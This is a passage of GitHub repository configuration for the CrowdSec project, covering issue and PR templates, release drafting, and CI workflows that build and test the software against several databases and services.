          * `/area security`
          * `/area configuration`

    - prefix: priority
      multiple: false
      list: [ 'urgent', 'important' ]
      author_association:
        collaborator: true
        member: true
        owner: true

---

## File: .github/PULL_REQUEST_TEMPLATE.md

## What and why



Fixes #

## How it was tested



```

```

## Checklist

- [ ] One concern only.
- [ ] No break to LAPI/CAPI payloads, database schema, config keys, or `cscli -o json|raw` output.
- [ ] A human has reviewed this diff line by line.
- [ ] A human has tested this change, not only an agent.

AI assistance used:

---

## File: .github/release-drafter.yml

categories:
  - title: 'New Features'
    labels:
      - 'new feature'
      - 'kind/feature'
  - title: 'Improvements'
    labels:
      - 'kind/enhancement'
      - 'enhancement'
      - 'improvement'
  - title: 'Bug Fixes'
    labels:
      - 'kind/fix'
      - 'fix'
      - 'bugfix'
      - 'bug'
  - title: 'Documentation'
    labels:
      - 'documentation'
      - 'doc'
  - title: 'Chore / Deps'
    labels:
      - 'kind/dependencies'
      - 'kind/chore'
tag-template: "- $TITLE @$AUTHOR (#$NUMBER)"
exclude-labels:
  - 'skip-changelog'
template: |
  ## Changes

  $CHANGES

  ## Geolite2 notice

  This product includes GeoLite2 data created by MaxMind, available from [https://www.maxmind.com](https://www.maxmind.com).

  ## Installation

  Take a look at the [installation instructions](https://doc.crowdsec.net/docs/getting_started/install_crowdsec).

---

## File: .github/ISSUE_TEMPLATE/bug_report.yaml

name: Bug report
labels: kind/bug
body:
  - type: textarea
    id: problem
    attributes:
      label: What happened?
        Please provide as much info as possible. Not doing so may result in your bug not being addressed in a timely manner.
        If this matter is security related, please disclose it privately to security@crowdsec.net
    validations:
      required: true

  - type: textarea
    id: expected
    attributes:
      label: What did you expect to happen?
    validations:
      required: true

  - type: textarea
    id: repro
    attributes:
      label: How can we reproduce it (as minimally and precisely as possible)?
    validations:
      required: true

  - type: textarea
    id: additional
    attributes:
      label: Anything else we need to know?

  - type: textarea
    id: Version
    attributes:
      label: Crowdsec version
      value: |
        

        ```console
        $ cscli version
        # paste output here
        ```

        
    validations:
      required: true

  - type: textarea
    id: osVersion
    attributes:
      label: OS version
      value: |
        

        ```console
        # On Linux:
        $ cat /etc/os-release
        # paste output here
        $ uname -a
        # paste output here

        # On Windows:
        C:\> wmic os get Caption, Version, BuildNumber, OSArchitecture
        # paste output here
        ```

        

  - type: textarea
    id: collections
    attributes:
      label: Enabled collections and parsers
      value: |
        

        ```console
        $ cscli hub list -o raw
        # paste output here
        ```

        

  - type: textarea
    id: acquis
    attributes:
      label: Acquisition config
      value: |
        

        ```console
        # On Linux:
        $ cat /etc/crowdsec/acquis.yaml /etc/crowdsec/acquis.d/*
        # paste output here

        # On Windows:
        C:\> Get-Content C:\ProgramData\CrowdSec\config\acquis.yaml
        # paste output here
        ```

        

  - type: textarea
    id: config
    attributes:
      label: Config show
      value: |
        

        ```console
        $ cscli config show
        # paste output here
        ```

        

  - type: textarea
    id: metrics
    attributes:
      label: Prometheus metrics
      value: |
        

        ```console
        $ cscli metrics
        # paste output here
        ```

        

  - type: textarea
    id: customizations
    attributes:
      label: "Related custom configs versions (if applicable) : notification plugins, custom scenarios, parsers etc."
      value: |

---

## File: .github/ISSUE_TEMPLATE/config.yml

contact_links:
  - name: Support Request
    url: https://discourse.crowdsec.net
    about: Support request or question relating to Crowdsec

---

## File: .github/ISSUE_TEMPLATE/feature_request.yaml

name: Feature request
body:
  - type: textarea
    id: feature
    attributes:
      label: What would you like to be added?
        Significant feature requests are unlikely to make progress as issues. Please consider engaging on discord (discord.gg/crowdsec) and forums (https://discourse.crowdsec.net), instead.
      value: |
        For feature request please pick a kind label by removing `` that wrap the example lines below


        
        

        
        
    validations:
      required: true

  - type: textarea
    id: rationale
    attributes:
      label: Why is this needed?
    validations:
      required: true

---

## File: .github/workflows/bats-hub.yml

name: (sub) Bats / Hub

on:
  workflow_call:
    secrets:
      GIST_BADGES_SECRET:
        required: true
      GIST_BADGES_ID:
        required: true

permissions:
  contents: read

jobs:
  build:

    name: "Functional tests"
    runs-on: ubuntu-latest
    timeout-minutes: 30
    steps:

    - name: "Force machineid"
      run: |
          sudo chmod +w /etc/machine-id
          echo githubciXXXXXXXXXXXXXXXXXXXXXXXX | sudo tee /etc/machine-id

    - name: "Check out CrowdSec repository"
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        fetch-depth: 0
        submodules: true
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod

    - name: "Install bats dependencies"
      env:
        GOBIN: /usr/local/bin
      run: |
        sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential daemonize jq libre2-dev

    - name: "Build crowdsec and fixture"
      # fetch the hub index from a git clone to avoid cdn-hub rate limiting (403)
      env:
        TEST_HUB_CLONE: "true"
      run: make bats-clean bats-build bats-fixture BUILD_STATIC=1

    - name: "Run hub tests"
      run: |
          PATH=$(pwd)/test/local/bin:$PATH
          ./test/instance-data load
          git clone --depth 1 https://github.com/crowdsecurity/hub.git ./hub
          cd ./hub
          cscli hubtest run --all --clean --max-jobs 4

    - name: "Collect hub coverage"
      run: ./test/bin/collect-hub-coverage ./hub >> $GITHUB_ENV

    - name: "Update coverage badges"
      if: ${{ github.ref == 'refs/heads/master' && github.repository_owner == 'crowdsecurity' }}
      env:
        GH_TOKEN: ${{ secrets.GIST_BADGES_SECRET }}
        GIST_ID: ${{ secrets.GIST_BADGES_ID }}
      run: |
        set -euo pipefail
        # shields.io endpoint badge, written as a gist file
        badge() { jq -nc --arg l "$1" --arg m "$2" --arg c "$3" \
          '{schemaVersion:1,label:$l,message:$m,color:$c}'; }
        jq -n \
          --arg p "$(badge 'Hub Parsers'   "$PARSERS_COV"   "$PARSERS_BADGE_COLOR")" \
          --arg s "$(badge 'Hub Scenarios' "$SCENARIOS_COV" "$SCENARIOS_BADGE_COLOR")" \
          '{files:{"crowdsec_parsers_badge.json":{content:$p},
                   "crowdsec_scenarios_badge.json":{content:$s}}}' \
          | gh api --method PATCH "/gists/${GIST_ID}" --input -

---

## File: .github/workflows/bats-mysql.yml

name: (sub) Bats / MySQL

on:
  workflow_call:
    inputs:
      database_image:
        required: true
        type: string

permissions:
  contents: read

jobs:
  build:
    name: "Functional tests"
    runs-on: ubuntu-latest
    timeout-minutes: 30
    services:
      database:
        image: ${{ inputs.database_image }}
        env:
          MYSQL_ROOT_PASSWORD: "secret"
        ports:
          - 3306:3306

    steps:

    - name: "Force machineid"
      run: |
          sudo chmod +w /etc/machine-id
          echo githubciXXXXXXXXXXXXXXXXXXXXXXXX | sudo tee /etc/machine-id

    - name: "Check out CrowdSec repository"
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        fetch-depth: 0
        submodules: true
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod

    - name: "Install bats dependencies"
      env:
        GOBIN: /usr/local/bin
      run: |
        sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential daemonize jq libre2-dev

    - name: "Build crowdsec and fixture"
      run: |
        make clean bats-build bats-fixture BUILD_STATIC=1
      env:
        # fetch the hub index from a git clone to avoid cdn-hub rate limiting (403)
        TEST_HUB_CLONE: "true"
        DB_BACKEND: mysql
        MYSQL_HOST: 127.0.0.1
        MYSQL_PORT: 3306
        MYSQL_PASSWORD: "secret"
        MYSQL_USER: root

    - name: "Run tests"
      run: ./test/run-tests ./test/bats --formatter $(pwd)/test/lib/color-formatter
      env:
        DB_BACKEND: mysql
        MYSQL_HOST: 127.0.0.1
        MYSQL_PORT: 3306
        MYSQL_PASSWORD: "secret"
        MYSQL_USER: root

    #
    # In case you need to inspect the database status after the failure of a given test
    #
    # - name: "Run specified tests"
    #   run: ./test/run-tests test/bats/<filename>.bats -f "<test name>"

    - name: Show database dump
      run: ./test/instance-db dump /dev/fd/1
      env:
        DB_BACKEND: mysql
        MYSQL_HOST: 127.0.0.1
        MYSQL_PORT: 3306
        MYSQL_PASSWORD: "secret"
        MYSQL_USER: root
      if: ${{ always() }}

    - name: "Show stack traces"
      run: for file in $(find /tmp/crowdsec-crash.*.txt); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: "Show crowdsec logs"
      run: for file in $(find ./test/local/var/log -type f); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: "Show database logs"
      run: docker logs "${{ job.services.database.id }}"
      if: ${{ always() }}

---

## File: .github/workflows/bats-postgres.yml

name: (sub) Bats / Postgres

on:
  workflow_call:

permissions:
  contents: read

jobs:
  build:
    name: "Functional tests"
    runs-on: ubuntu-latest
    timeout-minutes: 30
    services:
      database:
        image: postgres:16
        env:
          POSTGRES_PASSWORD: "secret"
        ports:
          - 5432:5432
        options: >-
          --health-cmd pg_isready -u postgres
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

    steps:

    - name: "Install pg_dump v16"
      # we can remove this when it's released on ubuntu-latest
      run: |
          sudo sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list'
          wget -qO- https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo tee /etc/apt/trusted.gpg.d/pgdg.asc &>/dev/null
          sudo apt update
          sudo apt -qq -y -o=Dpkg::Use-Pty=0 install postgresql-client-16

    - name: "Force machineid"
      run: |
          sudo chmod +w /etc/machine-id
          echo githubciXXXXXXXXXXXXXXXXXXXXXXXX | sudo tee /etc/machine-id

    - name: "Check out CrowdSec repository"
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        fetch-depth: 0
        submodules: true
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod

    - name: "Install bats dependencies"
      env:
        GOBIN: /usr/local/bin
      run: |
        sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential daemonize jq libre2-dev

    - name: "Build crowdsec and fixture (DB_BACKEND: pgx)"
      run: |
        make clean bats-build bats-fixture BUILD_STATIC=1
      env:
        # fetch the hub index from a git clone to avoid cdn-hub rate limiting (403)
        TEST_HUB_CLONE: "true"
        DB_BACKEND: pgx
        PGHOST: 127.0.0.1
        PGPORT: 5432
        PGPASSWORD: "secret"
        PGUSER: postgres

    - name: "Run tests (DB_BACKEND: pgx)"
      run: ./test/run-tests ./test/bats --formatter $(pwd)/test/lib/color-formatter
      env:
        DB_BACKEND: pgx
        PGHOST: 127.0.0.1
        PGPORT: 5432
        PGPASSWORD: "secret"
        PGUSER: postgres

    - name: "Show stack traces"
      run: for file in $(find /tmp/crowdsec-crash.*.txt); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: "Show crowdsec logs"
      run: for file in $(find ./test/local/var/log -type f); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: "Show database logs"
      run: docker logs "${{ job.services.database.id }}"
      if: ${{ always() }}

---

## File: .github/workflows/bats-sqlite-coverage.yml

name: (sub) Bats / sqlite + coverage

on:
  workflow_call:
    secrets:
      CODECOV_TOKEN:
        required: true

permissions:
  contents: read

env:
  TEST_COVERAGE: true

jobs:
  build:
    name: "Functional tests"
    runs-on: ubuntu-latest
    timeout-minutes: 20

    steps:

    - name: "Force machineid"
      run: |
          sudo chmod +w /etc/machine-id
          echo githubciXXXXXXXXXXXXXXXXXXXXXXXX | sudo tee /etc/machine-id

    - name: "Check out CrowdSec repository"
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        fetch-depth: 0
        submodules: true
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod

    - name: "Install bats dependencies"
      env:
        GOBIN: /usr/local/bin
      run: |
        sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential daemonize jq libre2-dev

    - name: "Build crowdsec and fixture"
      # fetch the hub index from a git clone to avoid cdn-hub rate limiting (403)
      env:
        TEST_HUB_CLONE: "true"
      run: |
        make clean bats-build bats-fixture BUILD_STATIC=1

    - name: Generate codecov configuration
      run: |
          .github/generate-codecov-yml.sh >> .github/codecov.yml

    - name: "Run tests"
      run: ./test/run-tests ./test/bats --formatter $(pwd)/test/lib/color-formatter

    - name: "Collect coverage data"
      run: |
        go tool covdata textfmt -i test/coverage -o coverage-bats.out

    #
    # In case you need to inspect the database status after the failure of a given test
    #
    # - name: "Run specified tests"
    #   run: ./test/run-tests test/bats/<filename>.bats -f "<test name>"

    - name: "Show database dump"
      run: |
        ./test/instance-crowdsec stop
        sqlite3 ./test/local/var/lib/crowdsec/data/crowdsec.db '.dump'
      if: ${{ always() }}

    - name: "Show stack traces"
      run: for file in $(find /tmp/crowdsec-crash.*.txt); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: "Show crowdsec logs"
      run: for file in $(find ./test/local/var/log -type f); do echo ">>>>> $file"; cat $file; echo; done
      if: ${{ always() }}

    - name: Upload bats coverage to codecov
      uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7.1.1
      with:
        files: ./coverage-bats.out
        flags: bats
        token: ${{ secrets.CODECOV_TOKEN }}

---

## File: .github/workflows/bats.yml

---
# This workflow is actually running
# only functional tests, but the
# name is used for the badge in README.md

name: Tests

# Main workflow for functional tests, it calls all the others through parallel jobs.
#
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
#
# There is no need to merge coverage output because codecov.io should take care of that.

on:
  push:
    branches:
      - master
      - releases/**
    paths-ignore:
      - "README.md"
  pull_request:
    paths-ignore:
      - "README.md"

permissions:
  contents: read

jobs:
  sqlite:
    uses: ./.github/workflows/bats-sqlite-coverage.yml
    secrets:
      CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}

  # Jobs for Postgres (and sometimes MySQL) can have failing tests on GitHub
  # CI, but they pass when run on devs' machines or in the release checks. We
  # disable them here by default. Remove if...false to enable them.

  mariadb:
    uses: ./.github/workflows/bats-mysql.yml
    with:
      database_image: mariadb:latest

  mysql:
    uses: ./.github/workflows/bats-mysql.yml
    with:
      database_image: mysql:latest

  postgres:
    uses: ./.github/workflows/bats-postgres.yml

  hub:
    uses: ./.github/workflows/bats-hub.yml
    secrets:
      GIST_BADGES_ID: ${{ secrets.GIST_BADGES_ID }}
      GIST_BADGES_SECRET: ${{ secrets.GIST_BADGES_SECRET }}

---

## File: .github/workflows/cache-cleanup.yaml

# https://docs.github.com/en/actions/using-workflows/caching-dependencies-to-speed-up-workflows#managing-caches

name: cleanup caches by a branch
on:
  pull_request:
    types:
      - closed

permissions:
  actions: write # to delete the branch's Actions caches

jobs:
  cleanup:
    runs-on: ubuntu-latest
    steps:
      - name: Cleanup
        run: gh cache delete --all --ref "refs/pull/${PR_NUMBER}/merge" --succeed-on-no-caches
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GH_REPO: ${{ github.repository }}
          PR_NUMBER: ${{ github.event.pull_request.number }}

---

## File: .github/workflows/ci-windows-build-msi.yml

name: build-msi (windows)

on:
  release:
    types:
      - prereleased
  push:
    branches:
      - master
      - releases/**
    paths:
      - build/windows/installer/*.wxs
      - .github/workflows/ci-windows-build-msi.yml
  pull_request:
    branches:
      - master
      - releases/**
    paths:
      - build/windows/installer/*.wxs
      - .github/workflows/ci-windows-build-msi.yml

permissions:
  contents: read

jobs:
  build:
    name: Build
    runs-on: windows-latest

    steps:

    - name: Check out code into the Go module directory
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        fetch-depth: 0
        submodules: false
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod

    - name: Build
      run: make windows_installer BUILD_RE2_WASM=1
    - name: Upload MSI
      uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
      with:
        path: crowdsec*msi
        name: crowdsec.msi

---

## File: .github/workflows/ci_release-drafter.yml

name: Release Drafter

on:
  push:
    # branches to consider in the event; optional, defaults to all
    branches:
      - main
      - master
      - releases/**

permissions:
  contents: read

jobs:
  update_release_draft:
    permissions:
      contents: write
      pull-requests: read
    runs-on: ubuntu-latest
    steps:
      # Drafts your next Release notes as Pull Requests are merged into "master"
      - uses: release-drafter/release-drafter@978bb0b30c5ee8cdd332ced253758157150d43f0 # v7.10.0
        with:
          # (Optional) specify config name to use, relative to .github/. Default: release-drafter.yml
          config-name: release-drafter.yml
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

---

## File: .github/workflows/codeql-analysis.yml

# yamllint disable rule:comments
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"

on:
  push:
    branches:
      - master
      - releases/**
  pull_request:
    # The branches below must be a subset of the branches above
    branches:
      - master
      - releases/**
  schedule:
    - cron: '15 16 * * 2'

jobs:
  analyze:
    name: Analyze
    runs-on: ubuntu-latest
    permissions:
      actions: read
      contents: read
      security-events: write

    strategy:
      fail-fast: false
      matrix:
        language: [ 'go', 'python' ]
        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
        # Learn more:
        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed

    steps:
    - name: Checkout repository
      uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        # required to pick up tags for BUILD_VERSION
        fetch-depth: 0
        persist-credentials: false

    - name: "Set up Go"
      uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
      with:
        go-version-file: go.mod
        cache-dependency-path: "**/go.sum"

    # Initializes the CodeQL tools for scanning.
    - name: Initialize CodeQL
      uses: github/codeql-action/init@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
      with:
        languages: ${{ matrix.language }}
        # If you wish to specify custom queries, you can do so here or in a config file.
        # By default, queries listed here will override any specified in a config file.
        # Prefix the list here with "+" to use these queries and those in the config file.
        # queries: ./path/to/local/query, your-org/your-repo/queries@main

    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
    # If this step fails, then you should remove it and run the build manually (see below)
    # - name: Autobuild
    #   uses: github/codeql-action/autobuild@181d5eefc20863364f96762470ba6f862bdef56b

    # ℹ️ Command-line programs to run using the OS shell.
    # 📚 https://git.io/JvXDl

    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
    #    and modify them (or add more) to build your code if your project
    #    uses a compiled language

    - run: |
       make clean build BUILD_RE2_WASM=1

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3

---

## File: .github/workflows/docker-tests.yml

name: Test Docker images

on:
  push:
    branches:
      - master
      - releases/**
    paths-ignore:
      - "README.md"
  pull_request:
    branches:
      - master
      - releases/**
    paths-ignore:
      - "README.md"

permissions:
  contents: read

env:
  CROWDSEC_BYPASS_DB_VOLUME_CHECK: "TRUE" # to avoid the db volume check in the docker_start.sh script

jobs:
  test_flavor:
    strategy:
      # we could test all the flavors in a single pytest job,
      # but let's split them (and the image build) in multiple runners for performance
      matrix:
        # can be slim, full or debian (no debian slim).
        flavor: ["slim", "debian"]

    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - name: Check out the repo
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@594f3bf4285d9ea8dc53c9a0c9c4092420091003 # v4.4.0
        with:
          buildkitd-config: .github/buildkit.toml

      - name: "Build image"
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          file: ./build/docker/Dockerfile${{ matrix.flavor == 'debian' && '.debian' || '' }}
          tags: crowdsecurity/crowdsec:test${{ matrix.flavor == 'full' && '' || '-' }}${{ matrix.flavor == 'full' && '' || matrix.flavor }}
          target: ${{ matrix.flavor == 'debian' && 'full' || matrix.flavor }}
          platforms: linux/amd64
          load: true
          cache-from: type=gha
          cache-to: type=gha,mode=min

      - name: "Create Docker network"
        run: docker network create net-test

      - name: Install uv
        uses: astral-sh/setup-uv@1c37ad07a6a961277cf70c0d37d6f313000f5884 # v10.3.0
        with:
          version: 0.5.24
          enable-cache: true
          working-directory: "./build/docker/test"

      - name: "Set up Python"
        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
        with:
          python-version-file: "./build/docker/test/.python-version"

      # running serially to reduce test flakiness
      - name: Lint and run the tests
        run: |
          cd build/docker/test
          uv sync --all-extras --dev --locked
          uv run ruff check
          uv run basedpyright
          uv run pytest tests -n 1 --durations=0 --color=yes
        env:
          CROWDSEC_TEST_VERSION: test
          CROWDSEC_TEST_FLAVORS: ${{ matrix.flavor }}
          CROWDSEC_TEST_NETWORK: net-test
          CROWDSEC_TEST_TIMEOUT: 90

---

## File: .github/workflows/go-tests-windows.yml

name: Go tests (windows)

on:
  push:
    branches:
      - master
      - releases/**
    paths-ignore:
      - "README.md"
  pull_request:
    paths-ignore:
      - "README.md"

permissions:
  contents: read

env:
  CROWDSEC_FEATURE_DISABLE_HTTP_RETRY_BACKOFF: true

jobs:
  build:
    name: "Build + tests"
    runs-on: windows-2025

    steps:
      - name: Check out CrowdSec repository
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          submodules: false
          persist-credentials: false

      - name: "Set up Go"
        uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod

      - name: Build
        run: |
          make build BUILD_RE2_WASM=1

      - name: Generate codecov configuration
        run: |
          .github/generate-codecov-yml.sh >> .github/codecov.yml

      - name: Unit tests
        run: |
          go install gotest.tools/gotestsum@v1.12.3
          make testcover

      - name: Upload unit coverage to Codecov
        uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7.1.1
        with:
          files: coverage.out
          flags: unit-windows
          token: ${{ secrets.CODECOV_TOKEN }}

      - name: golangci-lint
        uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
        with:
          version: v2.13
          args: --issues-exit-code=1 --timeout 10m
          only-new-issues: false

---

## File: .github/workflows/go-tests.yml

---
# This workflow is actually running
# tests (with localstack) but the
# name is used for the badge in README.md

name: Build

on:
  push:
    branches:
      - master
      - releases/**
    paths-ignore:
      - "README.md"
  pull_request:
    paths-ignore:
      - "README.md"

permissions:
  contents: read

# these env variables are for localstack, so we can emulate aws services
env:
  AWS_HOST: localstack
  # these are to mimic aws config
  AWS_ACCESS_KEY_ID: test
  AWS_SECRET_ACCESS_KEY: test
  AWS_REGION: us-east-1
  CROWDSEC_FEATURE_DISABLE_HTTP_RETRY_BACKOFF: true

jobs:
  build:
    name: "Build + tests"
    runs-on: ubuntu-latest
    services:
      localstack:
        image: localstack/localstack:3.0
        ports:
          - 4566:4566 # Localstack exposes all services on the same port
        env:
          DEBUG: ""
          LAMBDA_EXECUTOR: ""
          KINESIS_ERROR_PROBABILITY: ""
          KINESIS_INITIALIZE_STREAMS: ${{ env.KINESIS_INITIALIZE_STREAMS }}
          LOCALSTACK_HOST: ${{ env.AWS_HOST }} # Required so that resource urls are provided properly
          # e.g sqs url will get localhost if we don't set this env to map our service
        options: >-
          --name=localstack
          --health-cmd="curl -sS 127.0.0.1:4566 || exit 1"
          --health-interval=10s
          --health-timeout=5s
          --health-retries=3
      zoo1:
        image: confluentinc/cp-zookeeper:7.4.3
        ports:
          - "2181:2181"
        env:
          ZOOKEEPER_CLIENT_PORT: 2181
          ZOOKEEPER_SERVER_ID: 1
          ZOOKEEPER_SERVERS: zoo1:2888:3888
        options: >-
          --name=zoo1
          --health-cmd "jps -l | grep zookeeper"
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5

      kafka1:
        image: crowdsecurity/kafka-ssl
        ports:
          - "9093:9093"
          - "9092:9092"
          - "9999:9999"
        env:
          KAFKA_ADVERTISED_LISTENERS: LISTENER_DOCKER_INTERNAL://127.0.0.1:19092,LISTENER_DOCKER_EXTERNAL://127.0.0.1:9092,LISTENER_DOCKER_EXTERNAL_SSL://127.0.0.1:9093
          KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: LISTENER_DOCKER_INTERNAL:PLAINTEXT,LISTENER_DOCKER_EXTERNAL:PLAINTEXT,LISTENER_DOCKER_EXTERNAL_SSL:SSL
          KAFKA_INTER_BROKER_LISTENER_NAME: LISTENER_DOCKER_INTERNAL
          KAFKA_ZOOKEEPER_CONNECT: "zoo1:2181"
          KAFKA_BROKER_ID: 1
          KAFKA_LOG4J_LOGGERS: "kafka.controller=INFO,kafka.producer.async.DefaultEventHandler=INFO,state.change.logger=INFO"
          KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
          KAFKA_TRANSACTION_STATE_LOG_REPLICATION_FACTOR: 1
          KAFKA_TRANSACTION_STATE_LOG_MIN_ISR: 1
          KAFKA_JMX_PORT: 9999
          KAFKA_JMX_HOSTNAME: "127.0.0.1"
          KAFKA_AUTHORIZER_CLASS_NAME: kafka.security.authorizer.AclAuthorizer
          KAFKA_ALLOW_EVERYONE_IF_NO_ACL_FOUND: "true"
          KAFKA_SSL_KEYSTORE_FILENAME: kafka.kafka1.keystore.jks
          KAFKA_SSL_KEYSTORE_CREDENTIALS: kafka1_keystore_creds
          KAFKA_SSL_KEY_CREDENTIALS: kafka1_sslkey_creds
          KAFKA_SSL_TRUSTSTORE_FILENAME: kafka.kafka1.truststore.jks
          KAFKA_SSL_TRUSTSTORE_CREDENTIALS: kafka1_truststore_creds
          KAFKA_SSL_ENABLED_PROTOCOLS: TLSv1.2
          KAFKA_SSL_PROTOCOL: TLSv1.2
          KAFKA_SSL_CLIENT_AUTH: none
          KAFKA_AUTO_CREATE_TOPICS_ENABLE: "true"
        options: >-
          --name=kafka1
          --health-cmd "kafka-broker-api-versions --version"
          --health-interval 10s
          --health-timeout 10s
          --health-retries 5

      loki:
        image: grafana/loki:2.9.1
        ports:
          - "3100:3100"
        options: >-
          --name=loki1
          --health-cmd "wget -q -O - http://localhost:3100/ready | grep 'ready'"
          --health-interval 30s
          --health-timeout 10s
          --health-retries 5
          --health-start-period 30s

      victorialogs:
        image: victoriametrics/victoria-logs:v1.5.0-victorialogs
        ports:
          - "9428:9428"
        options: >-
          --name=victorialogs1
          --health-cmd "wget -q -O - http://0.0.0.0:9428"
          --health-interval 30s
          --health-timeout 10s
          --health-retries 5
          --health-start-period 30s
    steps:
      - name: Check out CrowdSec repository
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          submodules: true
          persist-credentials: false

      - name: "Set up Go"
        uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod

      - name: Run "go generate" and check for changes
        run: |
          set -e
          # ensure the version of 'protoc' matches the one that generated the files
          PROTOBUF_VERSION="35.1"
          JAVY_VERSION="9.1.0"
          # sha256 of the release assets, verified before use
          PROTOBUF_SHA256="6930ebf62bd4ea607b98fff052596c6ee564b9835b4ce172c75a3f53ae9d91b7"
          JAVY_SHA256="a68b122d48eb3dfc1b801d4e14c39271fde3638243d3272d206e376ac9189e39"
          # don't pollute the repo
          pushd $HOME
          curl --fail --location --proto '=https' --tlsv1.2 -o protoc.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOBUF_VERSION}/protoc-${PROTOBUF_VERSION}-linux-x86_64.zip
          echo "${PROTOBUF_SHA256}  protoc.zip" | sha256sum -c -
          unzip protoc.zip -d $HOME/.protoc
          curl --fail --location --proto '=https' --tlsv1.2 -o javy.gz https://github.com/bytecodealliance/javy/releases/download/v${JAVY_VERSION}/javy-x86_64-linux-v${JAVY_VERSION}.gz
          echo "${JAVY_SHA256}  javy.gz" | sha256sum -c -
          mkdir -p $HOME/.javy
          gzip -dc javy.gz > $HOME/.javy/javy
          chmod +x $HOME/.javy/javy
          popd
          export PATH="$HOME/.protoc/bin:$HOME/.javy/:$PATH"
          go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.36.11
          go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.6.2
          go generate ./...
          protoc --version
          if [[ $(git status --porcelain) ]]; then
            echo "Error: Uncommitted changes found after running 'go generate'. Please commit all generated code."
            git diff
            exit 1
          else
            echo "No changes detected after running 'go generate'."
          fi

      - name: Create localstack streams
        run: |
          aws --endpoint-url=http://127.0.0.1:4566 --region us-east-1 kinesis create-stream --stream-name stream-1-shard --shard-count 1
          aws --endpoint-url=http://127.0.0.1:4566 --region us-east-1 kinesis create-stream --stream-name stream-2-shards --shard-count 2

      - name: Generate codecov configuration
        run: |
          .github/generate-codecov-yml.sh > .github/codecov.yml

